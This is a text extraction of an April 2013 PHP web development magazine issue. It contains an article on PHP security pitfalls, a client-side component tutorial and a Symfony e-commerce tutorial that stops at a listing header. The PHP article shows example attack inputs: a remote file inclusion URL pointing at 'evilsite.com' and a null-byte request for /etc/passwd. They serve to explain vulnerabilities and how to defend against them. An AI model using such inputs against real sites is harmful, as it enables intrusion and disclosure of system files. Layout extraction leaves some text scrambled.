You are on page 1of 28

Published by S&S Media Group

P H P
Also in this issue
Create your own self-organizing teams by Steffan Surdek Data Modelling 101 by Cory Isaacson Day to day fraud detection by Arne Blankerts Do you want to be a PHP Evangelist? by Daniel Ribeiro

IS

April 2013
Issue 13

Did you know PHP is Evil?

EVIL
eb&PHP W g in c n u o Ann e! Conferenc
A San Jose, C 19 16 r Septembe

PHP is a wonderful little language in a lot of ways. Unfortunately, it has had a reasonably troubled upbringing and much like a insidious school bully, it has been quietly working against you.

Modern Client-Side Component Development


A web component is much more than JavaScript.

Enable e-commerce with the Symfony event dispatcher component

www.webandphp.com

How we can use the Symfony2 Event Dispatcher component to enable e-commerce in our existing application, for a range of product types.
iStockphoto.com/avlntn

Letter from the Editor Content

Were going through changes


Welcome to Aprils issue of Web & PHP Magazine! Weve recently made some changes to the website and well continue developing as we go. Hopefully it should be a lot easier to use but if you find a bug, let us know! The other BIG news is our very own conference will take place later this year. Web & PHP Con will run for 4 days in San Jose, CA, September 16 19. We promise to peek through the looking glass and immerse you in a world of continuously changing and evolving technology. Web & PHP Con will bring together developers, managers and industry experts, and in keeping with our ethos of delivering valuable knowledge for free, the conference sessions, keynote presentations and expo will all be free to attend. The call for papers has opened. If you have something cool to share but need a pedestal, submit a proposal via the website. Well be announcing the program and opening registrations in May. Those of you who know us well will also know that we are no novices when it comes to running top grade developer conferences, so this is exciting stuff and we hope to see many of you there. This month the focus of the magazine is based around fraud, security, architecture and PHPs darker side. It can be easy to forget the shadier aspects of the industry, all that DDoSing, phishing and so on that goes on behind closed doors. Symantec says that cybercrime costs businesses and individuals $114 bil lion dollars annually which makes it bigger even than the video game industry! The first thing to secure your website against? According to Richard Johnson, its PHP itself! Hes written an excellent feature, which you can find on the next page, titled Did you know PHP evil? based on his popular talk PHP is evil and wants to eat your babies. Of course, this is all tongue and cheek, as we all know that PHP is a wonderful language with a supportive community. This piece purely highlights some of the features and functions which havent been so kind to us. Aside from that, Aprils issue has an eclectic band of articles, ranging from big data, agile, e-commerce to how to become a PHP evangelist! Our regular columnists are here as usual of course. Cory Isaacson gives us a crash-course guide to Data Modelling 101 on page 22 and our security expert Arne Blankerts explains why credit card processing is faulty on page 25. Agile coach Steffan Surdek writes on page 18 about the importance of self-organising teams, and how managers should let their developers have more responsibility for their own projects. Or if youre looking for something a bit more technical, Wil Moores deep-dive into client-side development on page 6 is a good read. Hopefully there will be something of an interest to you, but if theres a subject that youre yet to see in the magazine, that you really want us to cover, get in touch! Happy reading. Anna Kent, Editor

Content
PHP

Did you know PHP is Evil?


Richard Johnson
Development

Modern Client-Side Component Development 


Wil Moore III
Symfony

Enable e-commerce with the Symfony event dispatcher component13


Michael Peacock
Agile

Create your own self-organizing teams


Steffan Surdek
Column

18

Data Modelling 101 


Cory Isaacson
Column

22

Day to Day Fraud Detection 


Arne Blankerts
Community

25

Do you want to be a PHP Evangelist? 


Daniel Ribeiro

27

www.webandphp.com

Web&PHP Magazine 4.13 | 2

Functionality PHP

Dont believe me? Open a PHP console and try a few examples:
print (int)"0"; // prints 0 print (int)"0asdf"; // still prints 0 print (int)"asdf"; // prints 0 (why not FALSE?) print (int)array(); // prints 0 print (int)array(0); // prints 1. Yes, really. 1.

iStockphoto.com/avlntn

The dark side of PHP

Did you know PHP is Evil?


PHP is a wonderful little language in a lot of ways. Its quite easy to learn, its wonderfully fast to work with and there is a mountain of functionality only a few keystrokes away. Unfortunately, it has had a reasonably troubled upbringing and much like a insidious school bully, it has been quietly working against you.

Things like this are important to note, as casting to an int is often used as a way to sanitize user input, this behaviour is the same as the intval() function. Thankfully the growing number of solid PHP frameworks goes a long way to plastering up and painting over these issues, however they are still there and its still quite important to be aware of what is happening behind the scenes.

The first time I realised PHP was evil ... One of the first prime examples of nasty PHP features that I came across as an early PHP developer was this cool little feature called auto_register_globals. This has been deprecated since late 2000, so if you ever see an app that requests it, hunt down the programmer and punch them in the face. For those readers who dont know what this does, it magically initialises local variables for every parameter that is passed into the script. Im sure all of us at one time or another has seen some PHP code that looks like this:
functions.php -----------<?php if (!isdefined("IN_APP")) { die("Anti-hack"); } include($include_path."/module.php");

by Richard Johnson

Unlike a lot of languages, PHP was never formally designed as such; instead it kind of grew and evolved from its rather humble initial goals into what it is now: To make it easy to embed dynamic content into other-

wise static HTML pages. This has resulted in a number of questionable language decisions as well as gotchas that you should be aware of, otherwise your precious little web app might spring to life and devour everything you love and hold dear.

www.webandphp.com

Web&PHP Magazine 4.13 | 3

Functionality PHP

This was a technique that we old school PHP devs used to protect against register_globals. Without the check for IN_APP (which would be defined in the requested file), and assuming register_globals was enabled, usually an attack would be as easy as the attacker going to this URL: http://yourhost.com/functions.php?include_ path=http://evilsite.com/evil_code.txt. PHP would automatically set the $include_path variable to be the address of a file on the attackers server, which would be downloaded and executed magically. Thankfully this feature has been disabled by default for a long time and as of PHP 5.4, its (thankfully) not even available as a configuration option.

Anything you read from a file, or indeed from the database itself is not going to be escaped, at which point you will need to re-escape, leading to that horrible double (or over time, triple, quadrupedal, ) escaped data such as : O\\\\\\'brien. So, the lesson here is to not escape everything until right before you use it. Escaping early is fraught with danger, by escaping at the last minute you can ensure that the data is escaped completely (as its obvious to see the escaping code) and correctly:
mysql_execute("INSERT INTO users VALUES ('" . mysql_real_escape_string($_  POST["username"]) . "', '" . mysql_real_escape_string($_POST["first_name"]) . "')");

Can I quote you? Another insidious yet will-intended feature that has been removed as of PHP 5.4 is magic_quotes_gpc. This feature ensured that all of the data that you send into your scripts from the browser has slashes added to it to escape characters such as quotes. This was added in an attempt to make things dead easy for the programmer when inserting things into a database, that is, you dont need to worry about this little thing called escaping. For example, this would be fine:
mysql_execute("INSERT INTO users VALUES ('" . $_POST["username"] . "', '  " . $_POST["first_name"] . "')");

And thats all good, that is until you come across a system that has this feature disabled (for example Ubuntu). At this point the SQL statement would become a wonderful place for an attacker to inject some of their own SQL and own your database. So, surely rather than removing it, having it on all the time would be the best thing to do eh? Then you dont have to worry, right? Wrong. What if you start inserting data from a data source other than a posted form?

But lets not stop there. For a very long time, databases have supported a feature called prepared statements, widely used in pretty much every other programming language. This is a fantastic feature that allows developers to separate the actual SQL command from the data that you are working with, making it the ultimate anti-SQL injection tool. Any framework worth its salt will have support for prepared statements, or at least some mechanism for separating SQL from data when querying. If it doesnt, PDO does and its been baked into PHP for a very long time. So use prepared statements. Please. If at any point you find that you are concatenating strings together to create SQL, then you are doing it wrong. It might seem obvious, but the vast majority of hacks are from SQL injections; so even when working with old code, try and do it correctly.

could also end strings with a NULL character (0x00), this way we wouldnt need to keep track of the string length. Thats all well and good, but by the time PHP had come along, people realised that there are actually cases in which you want to include the NULL character in a string. So, PHP decided to allow NULL characters in its strings, keeping track of the strings length behind the scenes. This works great, and has the added benefit of protecting against buffer overflow attacks and the like. Unfortunately however, a great amount of the PHP code base still uses C functions underneath, and these C functions expect their strings to be NULL terminated.

Unlike a lot of languages, PHP was never formally designed as such; instead it kind of grew and evolved from its rather humble initial goals into what it is now.
Now, why is it a problem? Well, take this code for example:
include($_GET["module"] . ".php");

Is PHP Cing everything in that string? But enough about SQL, lets move on to some more fundamental parts of PHP. Lets get a bit lower level and talk about strings and C. Back in the olden days, strings were easy to deal with. There were only 128 characters, all of which fit very nicely into an 8-bit byte. For convenience, we

This would work as expected for a request like: http:// youhost.com/index. php?module=shop. However, if someone were to add a NULL character to the end of this string like so: h t t p : / / youhost.com/index. php?module=/etc/passwd%00, all of a sudden, our include call looks like this:
include("/etc/passwd\0.php");

www.webandphp.com

Web&PHP Magazine 4.13 | 4

Functionality PHP

The C function responsible for retrieving the contents of the file will only read up until the NULL character, so it will see:
include("/etc/passwd");

nd new Your bra pone-sto ! ookshop digital-b

Now Im sure many people have been going through their apache logs and have come across a bunch of rubbish URLs that have something similar to the above. Essentially, thats a bunch of bots testing out your URLs in an attempt to find one of these inclusion injection attacks. Importantly, this poison NULL byte attack will probably disappear, or at least be reduced when PHP version 6 eventually gets released along with full Unicode strings. Many of these C functions will be updated or replaced with Unicode aware alternatives that dont rely on NULL terminators.

Desperately trying to keep E-Commerce a float A final note Id like to throw in here is to do with calculations with money. Unlike many other languages, PHP does not have a reliable Decimal type. This means that all decimals are stored as floating point numbers which are essentially fractions that approximate their actual value. Quoting an example from the PHP docs:
print floor((0.1 + 0.7) * 10);

This code will often print out 7, not 8! For this reason, be sure you are using ints and working in the smallest non-divisible monetary value (cents or pence). Alternatively make use of the BC or GMP maths functions which can also be useful if you need to do precise decimal operations. So! I hope this has made you think a little more and to be aware of some of PHPs quirks that are waiting there just below the surface, and the next time you are slamming down the coffee typing hacking furiously at your next project, remember to cast a critical eye over your code. Ask yourself how your code might be manipulated or misused by someone out there in the big bad internet.

r o f e l b a l i a All av

! 6 $ r e und

Richard Johnson having spent a number of years working as Lead Developer for Brightlabs, a leading digital agency in Australia; Richard now finds himself in London working as a Team Lead at Skimlinks. A bit of an all-rounder, hes worked with everything from PHP to Java, through .NET and most recently Go. Youll often find him at the PHP London meetups or a random pub in Shoreditch.

Available on:

www.webandphp.com

More information: www.developer-press.com

Web component Development

A web component is much more than JavaScript

Modern Client-Side Component Development


There have been many attempts to come up with some sort of client-side package manager, and some of them do it very well, however I think they are missing the big picture; a component is much more than just JavaScript. TJ Holowaychuk

by Wil Moore III

St

p ck

ho

to.

/ om

M-

X-

One of the hotter debates in web development as of late revolves around the notion of packaging and sharing reusable components. You may have noticed that many segments of the web development community have stepped up in order to attempt to solve this problem. Interestingly, if you hang around in multiple parts of the community, youve probably noticed that there are many solutions being proposed and developed. Unfortunately, these solutions have overlapping and incompatible feature sets, leaving us with a manual integration headache. Dont get me wrong, there are talented developers working on this problem and I commend their efforts; however, virtually all of them miss a critical detail

A [web] component is much more than just JavaScript Im sure there are lots of stories floating around as to which JavaScript package management solution is the

best. Perhaps youve heard of and even use Twitters Bower [1] or James Burkes Volo [2] or Caolan McMahons Jam [6]. As with most of Twitters [7] open source projects, Bower happens to be the most popular of the lot. This is no surprise given the impressive list of people behind the project [8]. For example, @fat (Jacob Thornton) [11], @addyosmani (Addy Osmani) [12], and @paulirish (Paul Irish) [13]. About two years ago, I started looking for the best client-side script loader. I even entertained the thought, perhaps Ill just write one myself (famous last words). About a year ago, I started digging further into Node.js that is when it all came together and I realized that I should be looking for a client-side module loader. You know, npm [14] for the browser. Little did I know that there was already Ender [15] and Browserify [16] in existence. Oh wait, what about that Asset Pipeline [17] thing or Assetic [18]? Yes, I frantically tried most of these solutions; and I even wrote about my short list of contenders (http://git.io/_ZWfVA) [9].

www.webandphp.com

Web&PHP Magazine 4.13 | 6

Web component Development

To a large degree, I continued to miss the point. Fortunately, a very talented [19] lad by the name of TJ Holowaychuk (http://github.com/visionmedia) [20] set me straight [21]. He reminded me A [web] component is much more than just JavaScript ... A component can be JavaScript, CSS, images, fonts, and more. The Morale of the story is, Create components, not [only] JavaScript packages.

Write modular CommonJS components If you are a PHP developer, youve probably heard of and have likely used the esteemed Composer [22] dependency management tool. The idea is that you declare your dependencies and it will handle sorting out the gory details. This is very similar to nodes npm [14] and rubys bundler [23]. If the concept behind these tools gives your developer senses the warm and fuzzies, you may be able to appreciate the idea behind CommonJS [24] and writing modular components that do one thing well [25]. This is precisely the philosophy of the new tool aptly named component (http://component.io) [27]. Component is a client-side package manager [26] and module loader [32]. It also ships with a builder tool [28], which allows you to aggregate the components used in your application into a single package for testing and/or deployment. It can be used to generate new components [29]. The included component-builder is written in JavaScript on top of Node.js; however, the philosophy behind the project is that other communities may want to write the builder portion in the language of their choice [30] since not everyone uses node. The default component-builder is simply one implementation of the component specification [31]. While it is entirely possible to consume components without completely buying into the package manager or the builder, there is a lot of flexibility and elegance

that youd be leaving on the table. One of the core te nets of the component specification is that you not only consume 3rd party components, but also, build your applications as a mash-up of domain-specific components. If youve ever tried to get started with a heavy UI component/widget based JavaScript framework but felt both overwhelmed and underwhelmed at the same time (you know what I mean), then you really should give component a try.

the modules you are using at the top of your module makes for incredibly transparent source code. This increases readability, testability, and maintainability.

I thought AMD won the module loader race already? This sounds nothing like AMD what gives? Hold on a second lets makes a few things clear before we move on. First, we should establish that the component loader is not an AMD module loader. An AMD module loader (i.e. RequireJS, curl.js) loads a module when it is used (sort of like PHPs Auto Loader). AMD loaders load multiple modules at once asynchronously. In theory, this is very convenient; however, the downsides quickly start to outweigh the benefits once a project moves past trivial. Honestly, if your application is indeed trivial, you are better off punting on the loading debate entirely. At that point, sprinkling script tags and jQuery snippets around your pages is probably good enough. I personally dont like to develop software this way, but hey, who am I to judge you? Component on the other hand, loads modules via a blazingly fast local map. A component module is loaded when the Node.js/CommonJS style require function is applied using a canonical string identifier or an alias (i.e. model, model-timestamps) as depicted in Listing 1. If you are building non-trivial client-side applications, the ability to work in multiple domain-specific files (modules) is well worth the investment of executing a build step (BTW, I would recommend using the watch(1) [37] command to automate this). Declaring

On AMD, compatibility and other module formats There are many module formats in play today (also referred to as a transport format); however, component uses the CommonJS (http://www.commonjs. org) module format [24], which is not directly compatible with the following:
AMD [33] YUI [34] Dojo legacy [35] Dojo AMD [36] That being said, the CommonJS module format is well known to be an excellent source module format from which other module formats can be generated [38]. In fact, this translation is actually supported by the included component-build tool. A component is built as an AMD module so you do not have to wrap your modules in a wrapper function (which you are forced into with the AMD and YUI formats).

Listing 1
// Module dependencies. var model = require('model'), timestamps = require('model-timestamps'); // Item model. module.exports = model('Item') .attr('id') .attr('title') .attr('complete') .use(timestamps)

www.webandphp.com

Web&PHP Magazine 4.13 | 7

Web component Development

With component when you are ready to share your module, you can optionally build a standalone version that is compatible with AMD (and thus Dojo). For legacys sake, a window global is also exported. This standalone component or application can be loaded via YUIs module loader as well or used with manually placed <script> tags (that sounds so barbaric at this point). If you had previously assumed that AMD won, please be aware that this is not necessarily the case. It is documented that many very experienced JavaScript developers do not see AMD as the best solution and certainly not a panacea (http://tomdale.net/2012/01/amd-is-not-the-answer) [39]. Nevertheless, AMD is quite popular; however, that is only because for a long time, there were no compelling alternatives. This is no longer the case. If you have ever developed a non-trivial application on top of an AMD module loader, you may have noticed that it quickly becomes edge-case city. The process is error prone and is ultimately a bad idea given there is a good alternative.

give back the $ and make jQuery non-global, but this is not the default). The following list of things jQuery does other than DOM is quite alarming if you consider the The Single Responsibility Principle [40] to be important: DOM element selection, traversal, creation, and mutation (lets pretend this is just one thing) Events XMLHttpRequest (AJAX) Browser Sniffing Array/Collection Utilities Object manipulation and iteration (i.e. each, extend) Object type inspection JSON functions XML functions String functions Time functions I count at least 11 different concerns. This problem is not isolated to jQuery alone. At the time of this writing, the Underscore.js, MooTools, and Prototype libraries all have huge non-cohesive APIs (to be fair, the new MooTools is reported to be cleaning this up) [38]. Ill say it again, this made sense at the time these libraries were introduced; however, the batteries included approach to software development seems nice until you start building non-trivial software. You may be wondering at this point why this even matters. Perhaps you only use the AJAX portion of jQuery. The fact that there are 100+ methods that you are not using isnt hurting you or is it? It is tempting to believe that there is no harm done; however, consider the fact that those unused functions are completely unrelated to the task at hand. The only way for a future developer (in many cases this is yourself) to understand why jQuery or underscore was included is to read the source code all of it. With a module

Figure 1: jQuery is 32k minified and Gzipped its an anchor (https://twitter.com/davidwalshblog/status/300740127058165761)

Small, focused modules are better for building applications than monolithic frameworks The jQuery library takes a fair amount of heat for being monolithic and non-cohesive. You may be wondering if jQuery deserves all of this negative attention. jQuery was originally developed when client-side package/dependency management wasnt a reality. At the time, a multiple file library just didnt make sense. jQuery made it easy to drop the library on to an HTML page, select a DOM element, and attach an event handler in an elegant way. jQuery has done well as a DOM abstraction library with a cute API. It protects you from certain cross-browser edge cases and API cruft. On the other hand, that cute DOM library actually sneaks quite a list of extra concerns into our codebases, all attached to the same global $ object (you can optionally

Figure 2: Building a date picker with component

system in place and small, focused components, this maintenance and complexity problem goes away. Now, I am not going to get ahead of myself and assume that youve been completely persuaded; however, I will assume that youd at least entertain the question How do I do X if I give up jQuery (or any other monolithic framework you are using)? In other words, armed with only the component package manager, the CommonJS module format, and the component.io registry, how might I build a date picker component?

www.webandphp.com

Web&PHP Magazine 4.13 | 8

Web component Development

With component(1) installed, creating a re-usable date picker component boils down to the following steps (assuming youve already installed component as outlined @ https://github.com/component/component):

We will also install a few more glue components:


% component install component/{popover,aurora,event}

Building our component The only thing left to do is build the component.
% component build

Bootstrapping a new datepicker component


% npm install g component % component create datepicker

Next, we will create an index.js file. This is the demos entry point.

Styling We will create a datepicker.css file that will contain a few overrides so the popover border is not in the way.

Adding dependencies
% cd datepicker % component install component/calendar

There are a few more minor details that go into polishing off your new component but the above steps will get you a working date picker. For the original Date Picker tutorial check out this article by the component author: http://tjholowaychuk.com/post/37832588021/ building-a-date-picker-component.

Listing 3
install : component/calendar@master dep : component/range@master install : component/range@master dep : component/jquery@master install : component/jquery@master dep : component/emitter@master install : component/emitter@master sep : component/in-groups-of@master install : component/in-groups-of@master fetch : component/calendar:index.js fetch : component/calendar:lib/utils.js fetch : component/calendar:lib/template.js fetch : component/calendar:lib/calendar.js fetch : component/calendar:lib/days.js fetch : component/calendar:lib/calendar.css fetch : component/range:index.js fetch : component/jquery:index.js fetch : component/in-groups-of:index.js fetch : component/emitter:index.js complete : component/range complete : component/in-groups-of complete : component/emitter complete : component/jquery complete : component/calendar

My precious plugins The jQuery plugin ecosystem is arguably a major part of what makes jQuery so popular. There is a plugin for pretty much anything you can think of. Unfortunately,

Component Integration We will create an example.html file that will allow us to integrate and interact with our date picker component.

Listing 4: example.html
<!DOCTYPE html> <html> <head> <title>Datepicker</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel="stylesheet" href="build/build.css"> <script src="build/build.js"></script> </head> <body> <input type="text" name="date" placeholder="Choose a date"> <script> var picker = require('datepicker'); var el = document.querySelector('[name=date]'); picker(el); </script> </body> </html>

Listing 2
repo (username/project): component/datepicker description: Datepicker ui component built on component/calendar does this component have js? y does this component have css? y does this component have html? create : datepicker create : datepicker/index.js create : datepicker/datepicker.css create : datepicker/Makefile create : datepicker/Readme.md create : datepicker/History.md create : datepicker/.gitignore create : datepicker/component.json

www.webandphp.com

Web&PHP Magazine 4.13 | 9

Web component Development

this is part of the fragmentation problem. jQuery isnt the only library around. There is YUI, Dojo, ExtJS, and many others. With a few minor exceptions, none of these projects plugins or modules are portable. For example, one cant simply take a YUI module and plug

it into ExtJS. Definitely applaud YUI and Dojo for having real module systems and build tools; however, everyone does it their own way. With component hopefully we will get to a point where we dont need to worry about compatibility.

Listing 5: index.js
var Calendar = require('calendar') , Popover = require('popover') , event = require('event') module.exports = Datepicker; function Datepicker(el) { if (!(this instanceof Datepicker)) return new Datepicker(el); this.el = el; this.cal = new Calendar; this.cal.el.addClass('datepicker-calendar'); event.bind(el, 'click', this.onclick.bind(this)); } Datepicker.prototype.onclick = function(e){ this.cal.on('change', this.onchange.bind(this)); this.popover = new Popover(this.cal.el); this.popover.classname = 'datepicker-popover popover'; this.popover.show(this.el); }; Datepicker.prototype.onchange = function(date){ el.value = date.getFullYear() + '/' + date.getMonth() + '/' + date.getDate(); this.popover.hide(); };

Listing 6: datepicker.css
.datepicker-calendar { font: 10px "Helvetica Neue", Helvetica, Arial, sans-serif; } .datepicker-popover .tip-arrow { top: auto; } .datepicker-popover .tip-inner { border: none; }

With enough adoption, developers will be incentivized to build components from plan JavaScript, CSS, HTML, and more. While still very new, the component ecosystem is coming along nicely. There are already close to 700 components registered at the component.io registry. For example, suppose you are building an Ever note-like web application and you would like to give your users the ability to tag their notes. This is generally referred to as a tag-input component:
% component install component/pillbox

Suppose you miss those CSS selectors, which are extremely popular with the jQuery crowd in that case, you may like:
% component install component/zest

You may have gotten the impression that components need to include JavaScript. That certainly is not the message I want you to receive. For example, a component could indeed be just CSS (i.e. Twitter Bootstrap). That being said, there is nothing wrong with a component that has no CSS but is a JavaScript-only utility that works in NodeJS and the browser. There is even a DOM manipulation and traversal component (http:// component.io/component/dom) [5] available that will help you ease away from jQuery.

Figure 3: Completed component

Build awesome things I hope that you are at least intrigued enough to want to find out more. If so, youll definitely want to start by reading the original component announcement [41] then watch the Web Component Introduction (http://tjholowaychuk.com/post/27984551477/components) screencast (https://vimeo.com/48054442) [42] and then read the best practices wiki [43]. Get inspired to learn JavaScript more intimately by watch-

www.webandphp.com

Web&PHP Magazine 4.13 | 10

Web component Development

ing Rebecca Murpheys excellent JSCONF talk The jQuery Divide (http://jsconf.eu/2010/speaker/the_ jquery_divide_by_rebecca_m.html). Perhaps you are on the fence, still sprinkling jQuery document.ready

calls about your pages and using pseudo-namespaces (http://blog.millermedeiros.com/namespaces-are-oldschool) [4] (i.e. deeply nested but still global objects) for organization. If this is the case, you might want to give component a try. If you arent sure what to build, there is a wealth of inspiration out there. For example, people are building complex content editors, file management tools, mobile apps, music, games, and even apps that run on your television. Enjoy building awesome things with component.

[12] https://github.com/addyosmani [13] https://github.com/paulirish [14] https://npmjs.org/ [15] http://ender.jit.su/ [16] http://browserify.org/ [17] http://guides.rubyonrails.org/asset_pipeline.html [18] https://github.com/kriswallsmith/assetic [19] https://npmjs.org/~tjholowaychuk [20] https://github.com/visionmedia [21] https://github.com/wilmoore/frontend-packagers/issues/1 [22] http://getcomposer.org [23] http://gembundler.com [24] http://www.commonjs.org [25] http://www.faqs.org/docs/artu/ch01s06.html [26] https://github.com/component/component [27] http://component.io/ [28] https://github.com/component/builder.js [29] https://github.com/component/component/wiki/Components [30] https://github.com/wilmoore/frontend-packagers/ issues/1#issuecomment-8362262 [31] https://github.com/component/component/wiki/Spec [32] https://github.com/component/require [33] https://github.com/amdjs/amdjs-api/wiki/AMD [34] http://yuilibrary.com/yui/docs/yui/ [35] http://dojotoolkit.org/reference-guide/1.8/loader/legacy.html [36] http://dojotoolkit.org/reference-guide/1.8/loader/ [37] https://github.com/visionmedia/watch [38] http://javascriptjabber.com/049-jsj-mootools-with-valerio-proietti-and- arian-stolwijk [39] http://tomdale.net/2012/01/amd-is-not-the-answer [40] https://docs.google.com/open?id=0ByOwmqah_nuGNHEtcU5OekdDMkk [41] http://tjholowaychuk.com/post/27984551477/components [42] https://vimeo.com/48054442 [43] https://github.com/component/component/wiki/Building-bettercomponents

Figure 4: Pillbox input component

Wil MooreIII(wil.moore@wilmoore.com) is a full-stack software craftsman with a passion for well-crafted software with an aesthetic API. Wil is a Zend Certified Engineer with PHP 5.3+ and is completely in awe of and contributes to many open-source projects. He is not shy about advocating for a development culture of devops, multi-paradigm programming, test-driven development, peer review, and mentorship. Wil primarily develops software in JavaScript (Browser and Node.js), Ruby, and PHP. Follow Wil on GitHub or Twitter @wilmoore.

Figure 5: Fast, lightweight, extensible css selector engine

References
[1] http://twitter.github.com/bower/ [2] http://volojs.org/ [3] http://javascriptjabber.com/049-jsj-mootools-with-valerio-proietti-andarian-stolwijk [4] http://blog.millermedeiros.com/namespaces-are-old-school [5] http://component.io/component/dom [6] http://jamjs.org [7] http://twitter.github.com [8] https://github.com/twitter/bower#authors [9] http://git.io/_ZWfVA [10] http://git.io/_ZWfVA#supported-javascript-module-formats

Figure 6: Twitter bootstrap components

[11] https://github.com/fat

www.webandphp.com

Web&PHP Magazine 4.13 | 11

E-commerce Symfony

E-commerce solutions, often more trouble than they are worth.

Enable e-commerce with the Symfony event dispatcher component


How we can use the Symfony2 Event Dispatcher component to enable e-commerce in our existing application, for a range of product types.

by Michael Peacock

There are many e-commerce solutions out there, which can provide us with fully featured online shops. However, if you already have an existing website or application, especially one that needs to deal with more than typical e-commerce products, then some of these solutions can be more trouble than they are worth. Lets say we have an existing event booking website; it has all the functionality we need to create and publicise events, and users can sign-up to events. The only thing missing is that up until now it has only supported registering for events; there is no notion of pay-

ing for an event. We dont want to have to rewrite our booking engine to be based around the notion of products, and we also might want to support turning other things into purchasable entities, perhaps charging for users to create their own events.

Image licensed by Ingram Image

The Observer pattern and how it can help us The Observer design pattern allows an object to maintain a list of its dependant objects, and can automatically notify them of changes to the object, so that it can take appropriate action. The primary difference between this approach and the Symfony Event Dispatcher component (http:// symfony.com/doc/2.0/components/event_dispatcher/

www.webandphp.com

Web&PHP Magazine 4.13 | 13

E-commerce Symfony

introduction.html) is that Observers are notified when Events are raised through the dispatcher, and specific methods are called within the Observer depending on the nature of the event. We face two challenges attempting to introduce e-commerce into our legacy application: We want to maintain our existing, non e-commerce, business logic, data processing and application flow. We want to support the introduction of e-commerce into multiple aspects of our application, including event booking and event creation. We may in the future want to extend this to other things, such as: Online promotional campaigns for the events. Physical products. Or even an upgraded user account that lets us create events without paying per-event. So, how can the Observer pattern, and subsequently the Event dispatcher help us introduce this level of flexible e-commerce functionality into our application? Once our existing business logic has been executed, e.g. a booking has been created; we can encapsulate the booking into an event, and dispatch it, the event in effect being the Subject. The event dispatcher will then dispatch a notification of this

event, including the encapsulated object, to our Event Listeners, in effect the Observers.

processed (if tickets are being e-mailed, we want to trigger this email once payment has been made).

A flexible Purchasable Interface Implement Purchasable These Observers are de-coupled from our existing The first thing we need to do is to implement the Purapplication flow, and can introduce use-case specific chasable Interface we discussed earlier (Listing 1). business logic, and potentially interrupt the flow of the application execution, for example, redirecting the user to a shopListing 1 ping basket. This allows us to maintain Namespace Demo\App\Events; { our existing business logic. Because class EventBooking implements $this->markAsPaid(); they are de-coupled in this way, and be\Demo\App\PurchasableInterface foreach($this->generateTickets() as $ticket) { cause we can raise different events for { $ticket->activate(); different scenarios, we can deal with dif// existing implementation omitted for brevity $ticket->emailToAttendee(); ferent use cases (event booking, event } purchase, member upgrade) differently, public function getId() } using different listeners if we wish. { The simplest approach for us in this return $this->id; public function paymentReturned() example will be for us to introduce } { some consistent e-commerce centric $this->markAsReturned(); attributes to our existing models, such public function getCost() foreach($this->getTickets() as $ticket) { { $ticket->invalidate(); that it doesnt impact on the existing $cost = 0; $ticket-> logic, but allows us to consistently foreach($this->attendees as emailPaymentReturnedNoticeToAttendee(); communicate with these objects to  $attendee_in_booking) { } find out information. This might include $cost += $attendee_in_booking-> cost, delivery cost, product descripgetTicketPrice(); public function getProductName() tion (for our basket and invoices) and } { what to do when the order has been return number_format($cost, 2); return count($this->attendees) . ' tickets for ' .
} public function getDeliveryCost() { return 0; // event books are delivered // electronically } public function paymentReceived() public function getQuantity() { return 1; // bundle products into one basket // item for now } } $this->getName(); }

Figure 1: The Observer design pattern

Figure 2: Purchasable Interface

www.webandphp.com

Web&PHP Magazine 4.13 | 14

E-commerce Symfony

Shopping basket A shopping basket will be needed to store details of products which a user intends to purchase, but has not yet committed to converting them into an order, leav-

Listing 2
Namespace Demo\App; class Basket { protected $container; protected $userId; protected $productTypeClassMap = array('Demo\App\Events\EventBooking'  => 'event'); public function __construct($container, $user_d) { $this->container = $container; $this->userId = $user_id; } public function addProduct(PurchasableInterface $product) { $class = get_class($product); if(!array_key_exists($class, $this->productTypeClassMap)) { throw new \LogicException("Application is not sure how to process  a {$class} product"; } else { $basket_item = new BasketItem($this->container); $basket_item->setProductId($product->getId()); $basket_item->setQuantity($product->getQuantity()); $basket_item->setProductType($this->productTypeClassMap[$class]); $basket_item->setUserId($this->userId); $basket_item->save(); } }

ing them in a holding state while they continue with other purchases. Once the user is ready, they will convert the contents of the basket into an order, giving it a unique ID number which can be provided to a payment provider so when payment comes through, we know which order it relates to. As our site is flexible in terms of the types of products we might have, we need to think about the database structure for this shopping basket: Each item in the basket relates to an object/database record stored elsewhere (e.g. event booking), we need to know the ID of the item being purchased. As these IDs are only unique for the type of product it is (there may be a booking with ID 1 and a user who has upgraded their account, with ID 1, so we need to store the type of product, e.g. booking. The cost of the item being added. We need to know the quantity being purchased. We need to link multiple items together in a basket; the common link for our items will be the ID of the user who is ordering them. So that we can clean up any old abandoned baskets (if we want to that is), we will want to store the time the item was added. We will need a basket model, which can take an object which implements PurchasableInterface and will convert it into a record in the basket items table (Listing 2). In order to facilitate this, we need: A mapping of product object classes and their respective product types. A method to check a product is valid (i.e. has a mapping) and creates a basket item model, populates it and saves it.

Installation We can install the component using Composer, the dependency management tool for PHP projects. The first step is to create a composer.json file in the root of our project to refer to the dependencies (Listing 3). Next we need to download composer, and run it, subsequently downloading the dependencies, and creating an autoloader for these dependencies. From the command line we run these commands (Listing 4). Finally, we bring these dependencies into the project by including the autoloader file (Listing 5). The Event to raise The EventDispatcher component expects events which are raised to extend the components Event class. In the past Ive made the mistake of having some of my models simple extend this class, which means the raised

Listing 3
{ "require": { "symfony/event-dispatcher": "2.2.*" } }

Listing 4
$ curl -sS https://getcomposer.org/installer | php $ php composer.phar install

Listing 5
require __DIR__.'/../vendor/autoload.php';

www.webandphp.com

Web&PHP Magazine 4.13 | 15

E-commerce Symfony

event could just be the model. The problem with this approach is that the dispatcher will call the events setName method, to pass the name of the event you are raising. If your model then needs to save its state in the database, you may find its name field has been updated! The simplest approach is to create an Event class in your application, which extends the components event and has a notion of a payload, which might be your model or other objects you want to interact with in the event listener (Listing 6).

Event Listeners The next step for us now is to create our Event Listeners. These are classes and methods which will perform an action when an event is raised (Listing 7). We now have an event, a basket and a listener. The listener has a method in it which will accept an event and from that it will add a product to the basket. We now need to bind the listener to our event dispatcher, so that it will execute its callback when the event is raised.

Bind the listeners In order to bind the listeners, we need some code, which creates an event dispatcher (we will put it in a dependency injection container), creates the event listener, and connects the two together when a specific event is raised; this is done through the addListener method (Listing 8). The third parameter when binding the listener is priority. In our current listener we redirect to the shopping basket page. Ideally we would have another listener

Listing 6
<?php namespace Demo\App; class Event extends \Symfony\Component\EventDispatcher\Event { protected $payload; public function __construct($payload=null) { if(!is_null($payload)) { $this->setPayload($payload); } } public function setPayload($payload) { $this->payload = $payload; } public function getPayload() { return $this->payload; } }

Listing 7
